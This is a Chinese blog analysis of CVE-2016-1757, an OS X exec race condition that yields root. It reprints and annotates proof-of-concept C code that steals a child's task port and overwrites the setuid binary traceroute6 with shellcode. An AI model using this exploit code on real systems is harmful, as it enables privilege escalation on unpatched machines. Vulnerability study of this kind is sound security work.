CVE-2016-1757簡單分析

wyzsk發表於2020-08-19
作者: mrh · 2016/04/08 10:54

0x00 摘要


靈犀一指可攻可守,進攻時也是一指,是天下第一指法,與移花接玉這個天下第一掌法同樣都是非兵刃的第一絕技

—陸小鳳傳奇

最近的10.11.4補丁修復了一個利用條件競爭獲得程式碼執行許可權的漏洞,經過對核心原始碼以及poc的理解之後,先對問題作出一個簡單的分析。

0x01 基礎知識

1.1 exec函式流程

我在OSX核心載入mach-o流程分析中比較詳細的分析了exec整個執行流程中比較重要的幾個函式,這個是比較精簡的一個流程圖。

exec函式圖

1.2 mach_vm_* API

Mach提供了一種使用者層對虛擬記憶體的操作方式。一系列對vm_map_t作出操作的API可以對虛擬記憶體作出很多操作。這裡的vm_map_t就是PORT

這一系列的API有很多,這裡只是簡單的介紹一下POC中會使用到的API。

1.2.1 mach_vm_allocate

#!c
mach_vm_allocate(vm_map_t map,mach_vm_address_t *address,mach_vm_size_t size,int flags);

map中分配size個位元組大小的記憶體,根據flags的不同會有不同的處理方式。address是一個I/O的引數(例如:獲取分配後的記憶體大小)。

如果flags的值不是VM_FLAGS_ANYWHERE,那麼記憶體將被分配到address指向的地址。

1.2.2 mach_vm_region

#!c
kern_return_t
mach_vm_region(
    vm_map_t         map,
    mach_vm_offset_t    *address,       /* IN/OUT */
    mach_vm_size_t  *size,          /* OUT */
    vm_region_flavor_t   flavor,        /* IN */
    vm_region_info_t     info,          /* OUT */
    mach_msg_type_number_t  *count,         /* IN/OUT */
    mach_port_t     *object_name)       /* OUT */

獲取map指向的任務內,address地址起始的VM region(虛擬記憶體區域)的資訊。目前標記為flavor只有VM_BASIC_INFO_64

獲得的info的資料結構如下。

#!c
struct vm_region_basic_info_64 {
    vm_prot_t       protection;
    vm_prot_t       max_protection;
    vm_inherit_t        inheritance;
    boolean_t       shared;
    boolean_t       reserved;
    memory_object_offset_t  offset;
    vm_behavior_t       behavior;
    unsigned short      user_wired_count;
};

1.2.3 mach_vm_protect

#!c
kern_return_t
mach_vm_protect(
    mach_port_name_t task,
    mach_vm_address_t address,
    mach_vm_size_t size,
    boolean_t set_maximum,
    vm_prot_t new_protection)

addressaddress+size這一段的記憶體設定記憶體保護策略,new_protection就是最後設定成為的保護機制。

1.2.4 mach_vm_write

#!c
kern_return_t
mach_vm_write(
    vm_map_t            map,
    mach_vm_address_t       address,
    pointer_t           data,
    __unused mach_msg_type_number_t size)

address指向的記憶體改寫內容。

1.3 Ports

Ports是一種Mach提供的task之間相互互動的機制,透過Ports可以完成類似程式間通訊的行為。每個Ports都會有自己的許可權。

#!c
#define MACH_PORT_RIGHT_SEND        ((mach_port_right_t) 0)
#define MACH_PORT_RIGHT_RECEIVE     ((mach_port_right_t) 1)
#define MACH_PORT_RIGHT_SEND_ONCE   ((mach_port_right_t) 2)
#define MACH_PORT_RIGHT_PORT_SET    ((mach_port_right_t) 3)
#define MACH_PORT_RIGHT_DEAD_NAME   ((mach_port_right_t) 4)
#define MACH_PORT_RIGHT_LABELH          ((mach_port_right_t) 5)
#define MACH_PORT_RIGHT_NUMBER      ((mach_port_right_t) 6)

Ports可以在不同的task之間傳遞,透過傳遞可以賦予其他taskports的操作許可權。例如POC中使用的就是在父程式與子程式之間傳遞Port得到了對記憶體操作的許可權。

0x02 漏洞原理


在核心處理setuid的程式時存在一個時間視窗,透過這個時間視窗,在程式Port被關閉之前,擁有程式Port的程式可以改寫目標程式的任意記憶體,透過改寫記憶體可以利用目標程式的root許可權執行任意的shellcode。

2.1 execv流程漏洞

流程圖

load_machfile原始碼分析

exec_mach_imgact原始碼分析

在swap_task_map以及exec_handle_suid之間有一個時間視窗,task port還是可以對記憶體做出修改的。

具體細節可以參考poc,同時也可以參考原始碼的分析日誌。

2.2 捕獲時間視窗(靈犀一指)

​時間視窗開啟的時機對編寫poc非常重要,因為在呼叫exec之後整個行為都是核心控制的,沒有什麼直接的辦法獲取時間視窗,poc中提供的方法是透過不斷的呼叫mach_vm_region,當視窗出現時,也就是從old_map切換到new_map時,mach_vm_region函式獲取的address應該是不同的。具體實現在下面的poc原始碼分析中會提到。

2.3 任意記憶體寫

​在得到視窗開啟的時機之後透過上面提到的port以及mach_vm_*的一系列函式就可以做到對目標程式的任意寫操作,從而寫入shellcode。

2.4 shellcode的執行(移花接木)

​shellcode要寫在什麼地方才會被執行呢?

​透過對traceroute6的分析,可以看到__text的地址偏移是0x153c,所以透過對該地址的記憶體改寫,可以使得shellcode得到執行。

traceroute6

0x03 POC原始碼分析


3.1 main

#!c
int main() {
  kern_return_t err;

  // register a name with launchd

  mach_port_t bootstrap_port;
  err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);

  if (err != KERN_SUCCESS) {
    mach_error("can't get bootstrap port", err);
    return 1;
  }

  //建立一個具有接受訊息許可權的port
  mach_port_t service_port;
  err = mach_port_allocate(mach_task_self(),
                           MACH_PORT_RIGHT_RECEIVE,
                           &service_port);

  if (err != KERN_SUCCESS) {
    mach_error("can't allocate service port", err);
    return 1;
  }

  //為port新增SEND許可權
  err = mach_port_insert_right(mach_task_self(),
                               service_port,
                               service_port,
                               MACH_MSG_TYPE_MAKE_SEND);

  if (err != KERN_SUCCESS) {
    mach_error("can't insert make send right", err);
    return 1;
  }

  //
  // 註冊一個全域性的Port
  // 之後的子程式會繼承這個port
  err = bootstrap_register(bootstrap_port, service_name, service_port);

  if (err != KERN_SUCCESS) {
    mach_error("can't register service port", err);
    return 1;
  }

  printf("[+] registered service \"%s\" with launchd to receive child thread port\n", service_name);

  // fork a child
  pid_t child_pid = fork();
  if (child_pid == 0) {
    do_child();
  } else {
    do_parent(service_port);
    int status;
    wait(&status);
  }

  return 0;
}

main函式在建立了port之後之後fork出子程式,開始做各自做的事情。

3.2 do_child

#!c
void do_child() {
  kern_return_t err;

  //查詢全域性的port
  mach_port_t bootstrap_port;
  err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);

  if (err != KERN_SUCCESS) {
    mach_error("child can't get bootstrap port", err);
    return;
  }

  mach_port_t service_port;
  err = bootstrap_look_up(bootstrap_port, service_name, &service_port);

  if (err != KERN_SUCCESS) {
    mach_error("child can't get service port", err);
    return;
  }

  // create a reply port:
  // 建立一個具有接受訊息許可權的port
  mach_port_t reply_port;
  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);

  if (err != KERN_SUCCESS) {
    mach_error("child unable to allocate reply port", err);
    return;
  }

  // send it our task port
  // 將子程式的port傳送給父程式
  task_msg_send_t msg = {0};

  msg.header.msgh_size = sizeof(msg);
  msg.header.msgh_local_port = reply_port;
  msg.header.msgh_remote_port = service_port;
  msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX;

  msg.body.msgh_descriptor_count = 1;

  msg.port.name = mach_task_self();
  msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
  msg.port.type = MACH_MSG_PORT_DESCRIPTOR;

  err = mach_msg_send(&msg.header);

  if (err != KERN_SUCCESS) {
    mach_error("child unable to send thread port message", err);
    return;
  }

  // wait for a reply to ack that the other end got our thread port
  // 等待父程式回覆
  ack_msg_recv_t reply = {0};
  err = mach_msg(&reply.header, MACH_RCV_MSG, 0, sizeof(reply), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

  if (err != KERN_SUCCESS) {
    mach_error("child unable to receive ack", err);
    return;
  }

  // exec the suid-root binary
  // 執行setuid的程式traceroute6
  char* argv[] = {suid_binary_path, "-w", "rofl", NULL};
  char* envp[] = {NULL};
  execve(suid_binary_path, argv, envp);
}

子程式做的事情也非常的簡單,將自己的port傳送給父程式,確保父程式已經獲取到port之後,執行setuid的程式,poc中使用的是traceroute6。

3.3 do_parent

#!c
void do_parent(mach_port_t service_port) {
  kern_return_t err;

  // generate the page we want to write into the child:
  // 申請一頁記憶體,並且會將這一頁記憶體寫入子程式
  mach_vm_address_t addr = 0;
  err = mach_vm_allocate(mach_task_self(),
                         &addr,
                         4096,
                         VM_FLAGS_ANYWHERE);

  if (err != KERN_SUCCESS) {
    mach_error("failed to mach_vm_allocate memory", err);
    return;
  }

  //將0x153c處的寫入shellcode
  FILE* f = fopen(suid_binary_path, "r");
  fseek(f, 0x1000, SEEK_SET);

  fread((char*)addr, 0x1000, 1, f);
  fclose(f);

  memcpy(((char*)addr)+0x53c, shellcode, sizeof(shellcode));

  // wait to get the child's task port on the service port:
  // 等待子程式傳送過來的port
  task_msg_recv_t msg = {0};
  err = mach_msg(&msg.header,
                 MACH_RCV_MSG,
                 0,
                 sizeof(msg),
                 service_port,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);

  if (err != KERN_SUCCESS) {
    mach_error("error receiving service message", err);
    return;
  }

  mach_port_t target_task_port = msg.port.name;

  // before we ack the task port message to signal that the other process should execve the suid
  // binary get the lowest mapped address:
  // 立刻獲取記憶體的資訊
  struct vm_region_basic_info_64 region;
  mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64;
  memory_object_name_t object_name = MACH_PORT_NULL; /* unused */

  mach_vm_size_t target_first_size = 0x1000;
  mach_vm_address_t original_first_addr = 0x0;

  err = mach_vm_region(target_task_port,
                       &original_first_addr,
                       &target_first_size,
                       VM_REGION_BASIC_INFO_64,
                       (vm_region_info_t)&region,
                       &region_count,
                       &object_name);

  if (err != KERN_SUCCESS) {
    mach_error("unable to get first mach_vm_region for target process\n", err);
    return;
  }

  printf("[+] looks like the target processes lowest mapping is at %zx prior to execve\n", original_first_addr);

  // send an ack message to the reply port indicating that we have the thread port
  ack_msg_send_t ack = {0};

  mach_msg_type_name_t reply_port_rights = MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits);

  ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0);
  ack.header.msgh_size = sizeof(ack);
  ack.header.msgh_local_port = MACH_PORT_NULL;
  ack.header.msgh_remote_port = msg.header.msgh_remote_port;
  ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0); // use the same rights we got

  err = mach_msg_send(&ack.header);
  if (err != KERN_SUCCESS) {
    mach_error("parent failed sending ack", err);
    return;
  }

  mach_vm_address_t target_first_addr = 0x0;
  for (;;) {
    // wait until we see that the map has been swapped and the binary is loaded into it:
    // 不斷的迴圈去獲取記憶體的資訊
    region_count = VM_REGION_BASIC_INFO_COUNT_64;
    object_name = MACH_PORT_NULL; /* unused */
    target_first_size = 0x1000;
    target_first_addr = 0x0;

    err = mach_vm_region(target_task_port,
                         &target_first_addr,
                         &target_first_size,
                         VM_REGION_BASIC_INFO_64,
                         (vm_region_info_t)&region,
                         &region_count,
                         &object_name);

    if (target_first_addr != original_first_addr && target_first_addr < 0x200000000) {
      // the first address has changed implying that the map was swapped
      // let's try to win the race
      // 當發現獲取到的記憶體資訊與之前的不同
      // 說明競爭的視窗開啟了
      // 可以嘗試去寫入shellcode了
      break;
    }

  }

  //寫入shellcode
  mach_vm_address_t target_addr = target_first_addr + 0x1000;
  mach_msg_type_number_t target_size = 0x1000;
  mach_vm_protect(target_task_port, target_addr, target_size, 0, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE);
  mach_vm_write(target_task_port, target_addr, addr, target_size);

  printf("hopefully overwrote some code in the target...\n");
  printf("the target first addr changed to %zx\n", target_first_addr);
  //子程式視窗關閉後記憶體已經被改寫,正常執行到entry時,將執行shellcode。
}

父程式的行為比較複雜:

  • 構建shellcode
  • 獲取子程式port
  • 根據子程式的記憶體資訊得到競爭的視窗開啟的時機
  • 寫入shellcode,等待shellcode執行。

0x04 小結


​透過梳理poc與核心原始碼後,在瞭解了execv函式一系列的執行流程,已經核心的一系列記憶體操作的工具函式之後,這個漏洞其實就是一個簡單的邏輯漏洞,透過一箇舊的port可以在port被關閉前,任意改寫程式的記憶體地址,當目標程式碰巧是setuid的程式時,就具有了root許可權執行任意程式碼的能力。

​透過poc的分析,應該學習鞏固的知識如下:

  • execv的執行流程
  • port的使用
  • mach_vm_* API

​充分理解poc的原理後,可以進一步對這個漏洞的Exploit to get kernel code execution做出更詳細的分析,從而反思與總結,如何在開發中預防這種漏洞的產生以及如何透過測試或者程式碼審計的手段發現類似的漏洞。

0x05 參考


  1. https://www.freebsd.org/cgi/man.cgi?query=vnode
  2. https://www.freebsd.org/cgi/man.cgi?query=namei&apropos=0&sektion=0&manpath=FreeBSD+10.2-RELEASE&arch=default&format=html
  3. http://www.manualpages.de/OpenBSD/OpenBSD-5.0/man9/pmap_create.9.html
  4. Logic error when exec-ing suid binaries allows code execution as root on OS X/iOS
  5. Race you to the kernel!

ps:
這是我的學習分享部落格http://turingh.github.io/

歡迎大家來探討,不足之處還請指正。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章